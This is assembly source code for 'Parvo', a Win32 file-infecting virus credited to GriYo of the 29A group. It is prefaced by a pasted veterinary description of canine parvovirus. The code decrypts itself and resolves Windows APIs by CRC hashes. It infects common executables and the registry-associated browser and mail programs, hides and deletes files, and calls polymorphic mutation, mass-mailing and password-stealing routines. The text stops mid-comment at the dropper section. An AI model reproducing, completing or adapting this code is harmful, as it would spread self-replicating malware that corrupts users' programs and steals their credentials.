;----------------------------------------------------------------------------
;
;Parvo BioCoded by GriYo / 29A
;
;Win32 Tech Support by Jacky Qwerty / 29A
;
;Thanks to Darkman / 29A 
;and b0z0 / Ikx for their ideas and strategy
;
;Parvo is a research speciment, do not distribute
;
;©1999 29A Labs ... We create life
;
;----------------------------------------------------------------------------
;
;	About the biological version:
;	-----------------------------
;
;	Canine Parvovirus became known in the late 1970's. It is thought that it
;began as a mutation of the feline distemper virus.  Once it had surfaced it 
;caused  a widespread  epidemic  which resulted in thousands of deaths among 
;both wild and domestic canines.
;
;	Parvovirus is seen considerably  less  since vaccination for the disease
;became available but outbreaks do still occur.  Puppies between weaning age
;and  6  months  old are  the most susceptible to the virus.  The disease is 
;transmitted  when dogs come in contact with  the  bodily fluids of infected
;animals.
;
;	Parvovirus  is  characterized  by  severe, bloody diarrhea and vomiting,
;high fever and lethargy.  The diarrhea is particularly foul smelling and is
;sometimes yellow in color.  Parvo  can also attack  a  dog's  heart causing
;congestive heart failure. This complication can occur months or years after
;an apparent  recovery from the intestinal form of the disease.  Puppies who
;survive parvo  infection  usually remain somewhat un-healthy  and  weak for 
;life.
;
;	The surest way to avoid  parvo infection in your dog is to adhere to the
;recommended vaccination schedule which begins when puppies are 6-8 weeks of
;age. Puppies should not be allowed to socialize with other dogs or frequent
;areas where other  dogs  have been until 2 weeks after they have  had their
;last vaccination.  Immunization for parvo is usually included in your dog's
;distemper  vaccine.  This shot gives protection against several potentially
;fatal canine diseases all at the same time.
;
;	As there is no cure for any virus, treatment for parvo is mostly that of
;supporting  the  different  systems  in the  body  during the course of the
;disease.  This  includes  giving  fluids,  regulating  electrolyte  levels,
;controlling body temperature and giving blood transfusions when necessary.
;
;	The  virus  is  extremely hardy in  the  environment.  Withstanding wide
;temperature fluctuations and most cleaning agents.  Parvo  can  be  brought
;home to your dog on shoes, hands and even  car tires.  It can live for many
;months outside the animal.  Any areas that are thought  to be  contaminated
;with parvo should be thoroughly washed with chlorine bleach diluted 1 ounce
;per quart of water.
;
;	Canine Medical Information
;	by Dr. Cristine Welch
;
;----------------------------------------------------------------------------

;----------------------------------------------------------------------------
;Virus code
;----------------------------------------------------------------------------

                ;------------------------------------------------------------
                ;Compiler options
                ;------------------------------------------------------------

                .386P
                locals
                jumps
                .model flat,STDCALL

                ;------------------------------------------------------------
                ;29A viral include files (thanks again Jacky)
                ;------------------------------------------------------------

                include Win32api.inc
                include Useful.inc
                include Mz.inc
                include Pe.inc

                ;------------------------------------------------------------
                ;Just to show a message on virus 1st generation
                ;------------------------------------------------------------

				extrn ExitProcess:NEAR
				extrn ShellAboutA:NEAR

;----------------------------------------------------------------------------
;Fake host used for virus 1st generation
;----------------------------------------------------------------------------

_TEXT           segment dword use32 public 'CODE'

host_code:		jmp Skip1StGen

				push 00000000h
				push offset szAboutText
				push offset szAboutAppText
				push 00000000h
				call ShellAboutA

				push 00000000h
				call ExitProcess

Skip1StGen:		;First generation uses a NULL delta-offset

				xor ebp,ebp
				
				;We need the CRC32 lookup table
				
				call make_crc_tbl

				;Save the CRC32 of 'KERNEL32.DLL' inside virus body

				mov esi,offset g1_szKernel32
				call get_str_crc32
				mov dword ptr [CrcKernel32],edx

				;Save the CRC32 of 'GetProcAddress' inside virus body	

				mov esi,offset g1_szGetProcAddr
				call get_str_crc32
				mov dword ptr [CrcGetProcAddr],edx

				;Get CRC's of needed API's and save them inside virus body
				;Lets start with KERNEL32 API names

				mov ecx,NumK32Apis
				mov esi,offset namesK32Apis
				mov edi,offset CRC32K32Apis
				call save_crc_names

				;Now CRC's of WSOCK32 API names

				mov ecx,NumWS32Apis
				mov esi,offset namesWS32Apis
				mov edi,offset CRC32WS32Apis
				call save_crc_names

				;Now RASAPI32 API names

				mov ecx,NumRASApis
				mov esi,offset namesRASApis
				mov edi,offset CRC32RASApis
				call save_crc_names

				;And finally ADVAPI32 API names

				mov ecx,NumADApis
				mov esi,offset namesADApis
				mov edi,offset CRC32ADApis
				call save_crc_names

				;Get the CRC32 of filenames

				mov ecx,NumberOfAllow
				mov esi,offset namesAllow
				mov edi,offset filesAllow
				call save_crc_names

				;Execute virus for 1st time

				jmp CRC_protected

save_crc_names:	cld
get_g1_crc:		push ecx				
				lodsd
				push esi
				mov esi,eax
				call get_str_crc32
				mov eax,edx
				stosd
				pop esi
				pop ecx
				loop get_g1_crc
				ret

_TEXT           ends

;----------------------------------------------------------------------------
;Here comes the rest of the sections in virus 1st generation
;----------------------------------------------------------------------------

                ;------------------------------------------------------------
                ;Data section
                ;------------------------------------------------------------

_DATA           segment dword use32 public 'DATA'

szAboutText		db 'ParvoVirus BioCoded by GriYo / 29A',00h
szAboutAppText	db 'ParvoVirus Launch Program#ParvoVirosis',00h

                ;------------------------------------------------------------

g1_szKernel32		db 'KERNEL32.DLL',00h
g1_szGetProcAddr	db 'GetProcAddress',00h

                ;------------------------------------------------------------

namesK32Apis	equ $

				dd offset g1_CreateFileA					
				dd offset g1_CreateFileMappingA			
				dd offset g1_MapViewOfFile				
				dd offset g1_UnmapViewOfFile				
				dd offset g1_CloseHandle					
				dd offset g1_FindFirstFileA				
				dd offset g1_FindNextFileA				
				dd offset g1_FindClose					
				dd offset g1_VirtualAlloc					
				dd offset g1_GetWindowsDirectoryA			
				dd offset g1_GetSystemDirectoryA			
				dd offset g1_GetCurrentDirectoryA			
				dd offset g1_SetFileAttributesA			
				dd offset g1_GetFileAttributesA
				dd offset g1_SetFileTime					
				dd offset g1_DeleteFileA					
				dd offset g1_GetCurrentProcess			
				dd offset g1_WriteProcessMemory			
				dd offset g1_LoadLibraryA
				dd offset g1_FreeLibrary
				dd offset g1_GetSystemTime				
				dd offset g1_SetFilePointer				
				dd offset g1_SetEndOfFile					
				dd offset g1_MoveFileA					
				dd offset g1_ExitProcess
				dd offset g1_GetVersionExA
				dd offset g1_GetModuleFileNameA
				dd offset g1_CopyFileA
				dd offset g1_GetFileTime
				dd offset g1_CreateSemaphoreA
				dd offset g1_ReleaseSemaphore
				dd offset g1_CreateProcessA
				dd offset g1_WaitForSingleObject
				dd offset g1_GetCommandLineA
				dd offset g1_WriteFile
				dd offset g1_GetTempPathA

                ;------------------------------------------------------------

namesWS32Apis	equ $

				dd offset g1_WSAStartup 
				dd offset g1_inet_addr
				dd offset g1_gethostbyaddr
				dd offset g1_htons
				dd offset g1_socket
				dd offset g1_connect
				dd offset g1_send
				dd offset g1_recv
				dd offset g1_closesocket
				dd offset g1_WSACleanup

                ;------------------------------------------------------------

namesRASApis	equ $

				dd offset g1_RasEnumConnectionsA
				dd offset g1_RasEnumEntriesA
				dd offset g1_RasGetEntryDialParamsA

                ;------------------------------------------------------------

namesADApis		equ $

				dd offset g1_RegOpenKeyA
				dd offset g1_RegQueryValueA
				dd offset g1_RegCloseKey

                ;------------------------------------------------------------

g1_CreateFileA					db 'CreateFileA',00h
g1_CreateFileMappingA			db 'CreateFileMappingA',00h
g1_MapViewOfFile				db 'MapViewOfFile',00h
g1_UnmapViewOfFile				db 'UnmapViewOfFile',00h
g1_CloseHandle					db 'CloseHandle',00h
g1_FindFirstFileA				db 'FindFirstFileA',00h
g1_FindNextFileA				db 'FindNextFileA',00h
g1_FindClose					db 'FindClose',00h
g1_VirtualAlloc					db 'VirtualAlloc',00h
g1_GetWindowsDirectoryA			db 'GetWindowsDirectoryA',00h
g1_GetSystemDirectoryA			db 'GetSystemDirectoryA',00h
g1_GetCurrentDirectoryA			db 'GetCurrentDirectoryA',00h
g1_SetFileAttributesA			db 'SetFileAttributesA',00h
g1_GetFileAttributesA			db 'GetFileAttributesA',00h
g1_SetFileTime					db 'SetFileTime',00h
g1_DeleteFileA					db 'DeleteFileA',00h
g1_GetCurrentProcess			db 'GetCurrentProcess',00h
g1_WriteProcessMemory			db 'WriteProcessMemory',00h
g1_LoadLibraryA					db 'LoadLibraryA',00h
g1_FreeLibrary					db 'FreeLibrary',00h
g1_GetSystemTime				db 'GetSystemTime',00h
g1_SetFilePointer				db 'SetFilePointer',00h
g1_SetEndOfFile					db 'SetEndOfFile',00h
g1_MoveFileA					db 'MoveFileA',00h
g1_ExitProcess					db 'ExitProcess',00h
g1_GetVersionExA				db 'GetVersionExA',00h
g1_GetModuleFileNameA			db 'GetModuleFileNameA',00h
g1_CopyFileA					db 'CopyFileA',00h
g1_GetFileTime					db 'GetFileTime',00h
g1_CreateSemaphoreA				db 'CreateSemaphoreA',00h
g1_ReleaseSemaphore				db 'ReleaseSemaphore',00h
g1_CreateProcessA				db 'CreateProcessA',00h
g1_WaitForSingleObject			db 'WaitForSingleObject',00h
g1_GetCommandLineA				db 'GetCommandLineA',00h
g1_WriteFile					db 'WriteFile',00h
g1_GetTempPathA					db 'GetTempPathA',00h

                ;------------------------------------------------------------

g1_WSAStartup					db 'WSAStartup',00h
g1_inet_addr					db 'inet_addr',00h
g1_gethostbyaddr				db 'gethostbyaddr',00h
g1_htons						db 'htons',00h
g1_socket						db 'socket',00h
g1_connect						db 'connect',00h
g1_send							db 'send',00h
g1_recv							db 'recv',00h
g1_closesocket					db 'closesocket',00h
g1_WSACleanup					db 'WSACleanup',00h

                ;------------------------------------------------------------

g1_RasEnumConnectionsA			db 'RasEnumConnectionsA',00h
g1_RasEnumEntriesA				db 'RasEnumEntriesA',00h
g1_RasGetEntryDialParamsA		db 'RasGetEntryDialParamsA',00h

                ;------------------------------------------------------------

g1_RegOpenKeyA					db 'RegOpenKeyA',00h
g1_RegQueryValueA				db 'RegQueryValueA',00h
g1_RegCloseKey					db 'RegCloseKey',00h

                ;------------------------------------------------------------

g1_file_00		db 'CUTFTP32.EXE',00h
g1_file_01		db 'IEXPLORE.EXE',00h
g1_file_02		db 'INSTALL.EXE',00h
g1_file_03		db 'INSTALAR.EXE',00h
g1_file_04		db 'MSIMN.EXE',00h
g1_file_05		db 'NETSCAPE.EXE',00h
g1_file_06		db 'NOTEPAD.EXE',00h
g1_file_07		db 'NTBACKUP.EXE',00h
g1_file_08		db 'ORDER.EXE',00h
g1_file_09		db 'RASMON.EXE',00h
g1_file_0A		db 'SETUP.EXE',00h
g1_file_0B		db 'TELNET.EXE',00h
g1_file_0C		db 'WAB.EXE',00h
g1_file_0D		db 'WABMIG.EXE',00h
g1_file_0E		db 'WINZIP32.EXE',00h

namesAllow		equ $

				dd offset g1_file_00
				dd offset g1_file_01
				dd offset g1_file_02
				dd offset g1_file_03
				dd offset g1_file_04
				dd offset g1_file_05
				dd offset g1_file_06
				dd offset g1_file_07
				dd offset g1_file_08
				dd offset g1_file_09
				dd offset g1_file_0A
				dd offset g1_file_0B
				dd offset g1_file_0C
				dd offset g1_file_0D
				dd offset g1_file_0E

NumberOfAllow	equ ($-namesAllow)/04h

_DATA           ends

                ;------------------------------------------------------------
                ;BSS section
                ;------------------------------------------------------------

_BSS            segment dword use32 public 'BSS'

_BSS            ends

                ;------------------------------------------------------------
                ;Virus section
                ;------------------------------------------------------------

virseg          segment dword use32 public 'PARVO'

;----------------------------------------------------------------------------
;Virus entry point
;----------------------------------------------------------------------------

viro_sys:		;Get virus delta offset

				call get_delta
get_delta:		pop ebp
				sub ebp,offset get_delta

				;Decrypt 2nd layer

				mov edx,esp
				mov ecx,inf_size-SizeOf2nd
				lea esp,dword ptr [ebp+Inside2ndLayer]
second_layer:	pop eax
				rol al,04h
				push eax
				inc esp
				loop second_layer
				mov esp,edx

				jmp Inside2ndLayer

SizeOf2nd		equ $-viro_sys

Inside2ndLayer:	;Generate a CRC32 lookup table

				call make_crc_tbl

				;Check CRC32 of main virus body
				;
				; esi -> Ptr to buffer
				; ecx -> Buffer size

				mov ecx,SizeOfProtect
				lea esi,dword ptr [ebp+CRC_protected]
				call get_crc32

				;Checksum matches?

				db 0B8h
ViralChecksum	dd 00000000h
				cmp eax,edx
				jne init_error

CRC_protected:	;Scan system memory looking for KERNEL32.DLL

                pushad

fK32_try_01:	mov eax,080000101h
                call IGetNtBaseAddr
                jecxz fK32_try_02
                jmp short kernel_found
fK32_try_02:    mov eax,0C0000101h
                call IGetNtBaseAddr
                jecxz fK32_try_03
                jmp short kernel_found
fK32_try_03:    xor eax,eax
                call IGetNtBaseAddr

kernel_found:   mov dword ptr [esp.Pushad_ebx],ecx
                popad
                or ebx,ebx
                jz init_error

				;Get entry-point of GetProcAddress

				call GetGetProcAddr				
				mov dword ptr [ebp+a_GetProcAddress],eax

				;Get KERNEL32 API addresses

				mov ecx,NumK32Apis				
				lea esi,dword ptr [ebp+CRC32K32Apis]
				lea edi,dword ptr [ebp+epK32Apis]
				call get_APIs
				jecxz API_sucksexee

init_error:		;Execution reach this point whenever initialization fails
				;At this point we cant use KERNEL32 API's to execute the
				;host... So lets try to terminate current process using
				;a simple RET instruction (it works, belive me)

				ret

API_sucksexee:	;Now we can call KERNEL32 API's!!!!

				;Lets allocate some memory for the virus

                push PAGE_EXECUTE_READWRITE
                push MEM_RESERVE or MEM_COMMIT
                push alloc_size
                push 00000000h
                call dword ptr [ebp+a_VirtualAlloc]
				or eax,eax
                jz Fail2Signal

                ;Copy virus to allocated memory

                lea esi,dword ptr [ebp+viro_sys]
                mov edi,eax
                mov ecx,size_virtual
                cld
                rep movsb

				;Continue execution on virus copy

				add eax,offset go_mem - offset viro_sys
				push eax
				ret

;----------------------------------------------------------------------------
;End of virus critical initialization
;----------------------------------------------------------------------------

go_mem:			;Get delta offset for allocated memory

				call get_mem_delta
get_mem_delta:	pop ebp
				sub ebp,offset get_mem_delta

viral_exec_end:	;Make a random named copy of the infected file and
				;clean it	

				push MAX_PATH
				lea esi,dword ptr [ebp+BufStr2Upper]
				push esi
				push 00000000h
				call dword ptr [ebp+a_GetModuleFileNameA]
				or eax,eax
				jz Fail2Signal

				push TRUE
				lea edi,dword ptr [ebp+BufStrFilename]
				push edi
				push esi
				call parse_filename
				mov edi,edx
				call rnd_exefile
				call dword ptr [ebp+a_CopyFileA]
				or eax,eax
				jz viral_exec_end

				;Set file attributes

                push FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
				lea eax,dword ptr [ebp+BufStrFilename]
				push eax
                call dword ptr [ebp+a_SetFileAttributesA]

				lea esi,dword ptr [ebp+BufStrFilename]
				lea edi,dword ptr [ebp+BufDeleteOnExit]
				call parse_filename

				mov edi,dword ptr [ebp+OrgSize]
				call OpenMapFile
				or eax,eax
				jz Fail2Signal
				mov ebx,eax

				;Restore code at host entry-point

				call get_code_sh
				jecxz Fail2Signal
				
				; ebx -> Base address
				; ecx -> Pointer to RAW
				; edx -> Entry-point RVA
				; esi -> Pointer to IMAGE_OPTIONAL_HEADER
				; edi -> Pointer to section header

				lea esi,dword ptr [ebp+OrgEPCode]
				mov edi,dword ptr [ebp+SizeOfModCode]
				xchg ecx,edi
				rep movsb

				;Restore OH_SizeOfImage

				call get_last_sh

				; esi -> IMAGE_OPTIONAL_HEADER
				; edi -> Pointer to last section header                

				mov eax,dword ptr [ebp+OrgSizeOfImg]
				or eax,eax
				jz is_1st_gen
				mov dword ptr [esi+OH_SizeOfImage],eax

				;Restore last section header

				lea esi,dword ptr [ebp+OrgSH]
				mov ecx,IMAGE_SIZEOF_SECTION_HEADER
				rep movsb

is_1st_gen:		mov ecx,dword ptr [ebp+OrgSize]
				call UnmapClose
				call HandleClose

				;Execute the result application

				xor eax,eax
				mov ecx,SIZEOF_PI
				lea edi,dword ptr [ebp+Process_Info]
				push edi
				cld
				rep stosb
				mov eax,SIZEOF_SI
				mov ecx,eax
				dec ecx
				push edi
				stosd
				xor eax,eax
				rep stosd
				push ecx
				push ecx
				push 00000200h	;CREATE_NEW_PROCESS_GROUP
				push ecx
				push ecx
				push ecx
				call dword ptr [ebp+a_GetCommandLineA]
				push eax
				lea eax,dword ptr [ebp+BufStrFilename]
				push eax
				call dword ptr [ebp+a_CreateProcessA]
				or eax,eax
				jz Fail2Signal

				;The host is being executed now... So we can call
				;blocking services without blocking the host execution

				;Lets use a semaphore to check if another instance
				;of the virus is already running
				;A semaphore is a named object that can be referenced
				;from several processes, increasing its initial counter
				;value via the ReleaseSemaphore API

				lea eax,dword ptr [ebp+szSemaphoreName]
				push eax
				mov eax,00000001h
				push eax
				dec eax
				push eax
				push eax								
				call dword ptr [ebp+a_CreateSemaphoreA]
				or eax,eax
				jz Fail2Signal
				mov dword ptr [ebp+h_Semaphore],eax

				;Increment the semaphore value in one (max. count)
				;In this way the following call will fail if another copy
				;of the virus is already running

				xor edx,edx
				push edx
				inc edx
				push edx
				push eax
				call dword ptr [ebp+a_ReleaseSemaphore]
				or eax,eax
				jz unknown_ver

				;There are no other instances of the virus running!!!!				

				;Get and save Windows version

				mov dword ptr [ebp+OSVerInfoSize],SizeOfOsVersion
				lea eax,dword ptr [ebp+OsVersionInfo]
				push eax
				call dword ptr [ebp+a_GetVersionExA]
				or eax,eax
				jz unknown_ver

				;Generate polymophic decryptor
				
				call mutate_virus
				
				;infect files

				call search_files

				;Virus mail spreading routines

				call share_the_fun

				;Execute password stealing routines????

				call get_rnd32
				test al,01h
				jz unknown_ver
				call steal_passwd

unknown_ver:	;Wait until disinfected host terminates

				push 0FFFFFFFFh
				mov eax,dword ptr [ebp+PI_hProcess]
				push eax
				call dword ptr [ebp+a_WaitForSingleObject]

				;Delete disinfected file

				lea eax,dword ptr [ebp+BufDeleteOnExit]
				push eax
				call dword ptr [ebp+a_DeleteFileA]

				;Free semaphore

				push dword ptr [ebp+h_Semaphore]
				call dword ptr [ebp+a_CloseHandle]

Fail2Signal:	;Terminate infect process

                push 00000000h
                call dword ptr [ebp+a_ExitProcess]

;----------------------------------------------------------------------------
;Search for target files in current, windows and system directories
;----------------------------------------------------------------------------

search_files:	;Load ADVAPI32.DLL so we can mess with the registry

				call AD_Init
				jc err_inet_tools

				;Infect executable used to open .HTML files

				lea edx,dword ptr [ebp+key_html]
				call infect_assoc
				
				;Infect executable used to send mail

				lea edx,dword ptr [ebp+key_mailto]
				call infect_assoc

				;We no longer need ADVAPI32.DLL

				call FreeADDll

err_inet_tools:	;Try to infect files in current directory

                lea eax,dword ptr [ebp+BufGetDir]
                push eax
                push MAX_PATH
                call dword ptr [ebp+a_GetCurrentDirectoryA]
                or eax,eax
                jz try_windir
                call do_in_dir
                
try_windir:     ;Try to infect files in \WINDOWS directory

                push MAX_PATH
                lea eax,dword ptr [ebp+BufGetDir]
                push eax
                call dword ptr [ebp+a_GetWindowsDirectoryA]
                or eax,eax
                jz try_sysdir
                call do_in_dir

try_sysdir:     ;Try to infect files in \SYSTEM directory

                push MAX_PATH
                lea eax,dword ptr [ebp+BufGetDir]
                push eax
                call dword ptr [ebp+a_GetSystemDirectoryA]
                or eax,eax
                jz exit_in_dir

;----------------------------------------------------------------------------
;Search for files to infect in the specifyed directory
;----------------------------------------------------------------------------

do_in_dir:		;Trying to infect files in root directory?				

                cmp eax,00000004h
                jb exit_in_dir				

dir_complete:   lea edx,dword ptr [ebp+DirectFindData]
                push edx                
                lea edi,dword ptr [ebp+BufGetDir]
				push edi

                ;Insert *.* next to path

				xor al,al
                cld
direct_Null:	scasb
				jnz direct_Null
				mov byte ptr [edi-00000001h],"\"

				;This is '*.EXE',00h

				mov eax,'XE.*'
				stosd
				mov ax,0045h
				stosw

				;First find try

				call dword ptr [ebp+a_FindFirstFileA]
                cmp eax,INVALID_HANDLE_VALUE
                je exit_in_dir
				mov dword ptr [ebp+h_Find],eax

work_with_WFD:	;Skip directories, compressed and system files

				mov eax,dword ptr [ebp+										\
								   DirectFindData+							\
								   WFD_dwFileAttributes]

				and eax,FILE_ATTRIBUTE_DIRECTORY  or						\
						FILE_ATTRIBUTE_COMPRESSED or						\
						FILE_ATTRIBUTE_SYSTEM

				jnz DirectAgain

				;Check if file size is allowed

				cld
				lea esi,dword ptr [ebp+										\
								   DirectFindData+							\
								   WFD_nFileSizeHigh]
				lodsd
				or eax,eax
                jnz DirectAgain
				lodsd
				cmp eax,0FFFFFFFFh-size_virtual
				jae DirectAgain				
				mov dword ptr [ebp+OrgSize],eax
				
				;Check if file is already infected

                mov ecx,size_padding
                xor edx,edx
                div ecx
                or edx,edx
                jz DirectAgain

				;Get complete path+filename and convert it to upper case

				lea esi,dword ptr [ebp+BufGetDir]
				lea edi,dword ptr [ebp+BufStr2Upper]
				call parse_filename
				lea esi,dword ptr [ebp+										\
								   DirectFindData+							\
								   WFD_szFileName]
				mov edi,edx
				push edi
				call parse_filename

				;Check if filename is allowed

				pop esi
				call get_str_crc32
				lea esi,dword ptr [ebp+filesAllow]
				mov ecx,NumberOfAllow
crc_allow:		lodsd
				cmp eax,edx
				je allow_filename
				loop crc_allow

				jmp DirectAgain

allow_filename:	;Generate a string with file path, but this time
				;use a different filename without executable
				;extension
								
try_rename_it:	lea edi,dword ptr [ebp+BufStrFilename]
				push edi
				lea esi,dword ptr [ebp+BufStr2Upper]
				push esi
				call parse_filename
				mov edi,edx
				call rnd_filename
						
				;Rename file to a non-executable extension

				call dword ptr [ebp+a_MoveFileA]
				or eax,eax
				jz try_rename_it

				;Try to infect this file

				call infect_file

				;Restore original file name

				lea esi,dword ptr [ebp+BufStrFilename]
				lea edi,dword ptr [ebp+BufStr2Upper]
				call parse_filename
				lea esi,dword ptr [ebp+										\
								   DirectFindData+							\
								   WFD_szFileName]

				;We dont use here the parse_filename rotuine because we want
				;to respect the upper and lowers case

				mov edi,edx
				cld
ParseNoUpper:	lodsb
				stosb
				or al,al
				jnz ParseNoUpper

				lea eax,dword ptr [ebp+BufStr2Upper]
				push eax
				lea eax,dword ptr [ebp+BufStrFilename]
				push eax
				call dword ptr [ebp+a_MoveFileA]

DirectAgain:	;More files, please

				lea eax,dword ptr [ebp+DirectFindData]
				push eax
                push dword ptr [ebp+h_Find]
				call dword ptr [ebp+a_FindNextFileA]
                or eax,eax
                jnz work_with_WFD

				;Close Win32 find handle

                push dword ptr [ebp+h_Find]
                call dword ptr [ebp+a_FindClose]

exit_in_dir:	ret

;----------------------------------------------------------------------------
;Infect program associated with a document
;
;On entry:
;				edx -> Ptr to key name
;----------------------------------------------------------------------------

infect_assoc:	lea edi,dword ptr [ebp+h_RegKey]
				push edi
				push edx
				push 80000002h ;HKEY_LOCAL_MACHINE
				call dword ptr [ebp+a_RegOpenKeyA]
				or eax,eax
				jnz err_OpenKey
				lea edx,dword ptr [ebp+key_size]
				mov dword ptr [edx],MAX_PATH
				push edx
				lea esi,dword ptr [ebp+BufGetDir-00000001h]
				push esi
				push eax
				push dword ptr [edi]
				call dword ptr [ebp+a_RegQueryValueA]
				or eax,eax
				jnz err_QueryVal
				cmp byte ptr [esi],22h
				jne err_QueryVal
				push edi
				mov ecx,MAX_PATH
				mov edx,esi
				cld
iexplore_name:	lodsb
				cmp al,'\'
				jne iexplore_slash
				mov edx,esi
iexplore_slash:	or al,al
				je got_ie_path
				loop iexplore_name
				jmp QueryValPop

got_ie_path:	mov byte ptr [edx-00000001h],al
				call dir_complete
QueryValPop:	pop edi
err_QueryVal:	push dword ptr [edi]
				call dword ptr [ebp+a_RegCloseKey]

err_OpenKey:	ret

;----------------------------------------------------------------------------
;Infect file routines
;
;On entry:
;				BufStrFilename -> Buffer filled with path + filename
;				OrgSize		   -> Contains clean file size
;----------------------------------------------------------------------------

infect_file:	mov eax,dword ptr [ebp+OrgSize]
				add eax,inf_size
				add eax,dword ptr [ebp+decryptor_size]
                mov ecx,size_padding
                xor edx,edx
                div ecx
                inc eax
                mul ecx
				mov edi,eax
				call OpenMapFile
				or eax,eax
				jz inf_file_err
				
				mov ebx,eax

                ;Check for MZ signature at base address

                cld
                cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                jne inf_close_file

                ;Check file address of relocation table

                cmp word ptr [ebx+MZ_lfarlc],0040h
                jb inf_close_file

                ;Now go to the pe header and check for the PE signature

                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                lodsd
                cmp eax,IMAGE_NT_SIGNATURE
                jne inf_close_file

                ;Check machine field in IMAGE_FILE_HEADER
                ;just allow i386 PE files

                cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
                jne inf_close_file

                ;Now check the characteristics, look if file
                ;is an executable

                mov ax,word ptr [esi+FH_Characteristics]
                test ax,IMAGE_FILE_EXECUTABLE_IMAGE
                jz inf_close_file

                ;Avoid DLL's

                test ax,IMAGE_FILE_DLL
                jnz inf_close_file

				;Infect only GUI applications
				
				cmp word ptr [esi+											\
							  IMAGE_SIZEOF_FILE_HEADER+						\
							  OH_Subsystem],IMAGE_SUBSYSTEM_WINDOWS_GUI
							  		
				jne inf_close_file
				     
				;Do not infect files with shared flag on last section
				
				call get_last_sh
                test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_SHARED
                jnz inf_close_file

				;Lets go to section header and see whats there...

				call get_code_sh
				jecxz inf_close_file

				; ebx -> Base address
                ; ecx -> Pointer to RAW data or NULL if error
                ; edx -> Entry-point RVA
                ; esi -> Pointer to IMAGE_OPTIONAL_HEADER
                ; edi -> Pointer to section header				

				;Avoid files with SHARED code section

                test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_SHARED
                jnz inf_close_file

				;Check for relocations

				mov dword ptr [ebp+SizeOfModCode],ep_junk_size
                mov edx,dword ptr [esi+										\
								   OH_DataDirectory+						\
                                   DE_BaseReloc+							\
                                   DD_VirtualAddress]
                or edx,edx
				jz no_fear_relocs

				;Check if there is enough space without relocations at file 
				;entry-point

                call RVA2RAW
                mov edi,esi
                mov esi,ecx

                ; edx -> Relocations section delta offset
                ; esi -> Pointer to RAW data about relocations
                ; edi -> Pointer to IMAGE_OPTIONAL_HEADER
                
do_reloc:		;Get IBR_VirtualAddress
                
                lodsd
                mov edx,eax             

                ;Get IBR_SizeOfBlock

                lodsd                   
                or eax,eax
                jz no_fear_relocs

continue_reloc: ;Get number of relocations in this block
                                                        
                sub eax,IMAGE_SIZEOF_BASE_RELOCATION
                shr eax,01h
                mov ecx,eax

rblock_loop:    ;Get IBR_TypeOffset

                xor eax,eax
                lodsw
                and ax,0FFFh
                add eax,edx

				; eax -> RVA relocation apply address

                sub eax,dword ptr [edi+OH_AddressOfEntryPoint]
                jns reloc_over_ep

next_reloc:     ;Follow relocations chain

                loop rblock_loop
                jmp short do_reloc

reloc_over_ep:  ;Get number of bytes from entry-point to first relocation
				;Check if there enough space without relocations

				cmp eax,ep_junk_size
				jae no_fear_relocs

				;There is space for a single jmp instruction?

				mov ecx,00000005h
				cmp eax,ecx
				jb inf_close_file

				mov dword ptr [ebp+SizeOfModCode],ecx

no_fear_relocs:	;Copy code at host entry-point to our buffer

				call get_code_sh
				mov esi,dword ptr [ebp+SizeOfModCode]
				xchg ecx,esi
                lea edi,dword ptr [ebp+OrgEPCode]
				push esi
				push ecx
				rep movsb

				;Write a jump to virus code at the end of polymorphic junk

				mov edi,dword ptr [ebp+ep_junk_fix]
                mov al,0E9h
                stosb
				push edi
                call get_last_sh

                ; esi -> IMAGE_OPTIONAL_HEADER
                ; edi -> Pointer to last section header

				mov eax,dword ptr [ebp+OrgSize]				;Original size
                sub eax,dword ptr [edi+SH_PointerToRawData]	;Convert to RVA
                add eax,dword ptr [edi+SH_VirtualAddress]
				add eax,inf_size							;add virus size
				add eax,dword ptr [ebp+entry_point]			;add poly ep
				sub eax,dword ptr [esi+OH_AddressOfEntryPoint] ;sub host ep
				
				; eax -> Distance from file entry point to poly entry point

				pop edi
				pop ecx
				cmp ecx,00000005h
				ja include_junk
				mov esi,dword ptr [ebp+ep_junk_fix]
				jmp short recicled_code

include_junk:	sub eax,dword ptr [ebp+ep_junk_fix]
				add eax,dword ptr [ebp+ep_junk_addr]				
				mov esi,dword ptr [ebp+ep_junk_addr]

recicled_code:	; eax -> Distance from the jmp to poly entry point

				sub eax,00000005h
				stosd
				pop edi
				rep movsb				

				;Move virus to file and apply encryption

                mov eax,dword ptr [ebp+OrgSize]
				lea edi,dword ptr [eax+ebx]
				call ViralAttach

				;Modify last section

                call get_last_sh

                ;esi -> IMAGE_OPTIONAL_HEADER
                ;edi -> Pointer to last section header

				;Set read/write access on last section

				or dword ptr [edi+SH_Characteristics],						\
						 IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

                ;Get new VirtualSize

				mov eax,dword ptr [ebp+OrgSize]
				add eax,dword ptr [ebp+decryptor_size]
				sub eax,dword ptr [edi+SH_PointerToRawData]
				push eax
				add eax,size_virtual
				cmp eax,dword ptr [edi+SH_VirtualSize]
				jbe ok_VirtualSize
                mov dword ptr [edi+SH_VirtualSize],eax

                ;Update OH_SizeOfImage				

ok_VirtualSize:	add eax,dword ptr [edi+SH_VirtualAddress]
				xor edx,edx
                mov ecx,dword ptr [esi+OH_SectionAlignment]                
                div ecx
                inc eax
                mul ecx				
				cmp eax,dword ptr [esi+OH_SizeOfImage]
				jbe ok_SizeOfImage
				mov dword ptr [esi+OH_SizeOfImage],eax

ok_SizeOfImage:	;Get new SizeOfRawData

				pop eax
				add eax,inf_size
				
				;****
				;Problem with rounded up size
				;
				;xor edx,edx
                ;mov ecx,dword ptr [esi+OH_FileAlignment]                				
                ;div ecx
                ;inc eax
                ;mul ecx
                
				mov dword ptr [edi+SH_SizeOfRawData],eax

				;Infection sucksexee!!!!

				call UnmapClose
				call HandleClose
				ret

inf_close_file:	call UnmapClose

				;Restore file size

				xor eax,eax
				push eax
				push eax
				push dword ptr [ebp+OrgSize]
				mov esi,dword ptr [ebp+h_CreateFile]
				push esi
				call dword ptr [ebp+a_SetFilePointer]
				cmp eax,0FFFFFFFFh
				je cant_resize
				push esi
				call dword ptr [ebp+a_SetEndOfFile]
cant_resize:	call HandleClose

inf_file_err:	ret

;----------------------------------------------------------------------------
;Create dropper
;
;On exit:
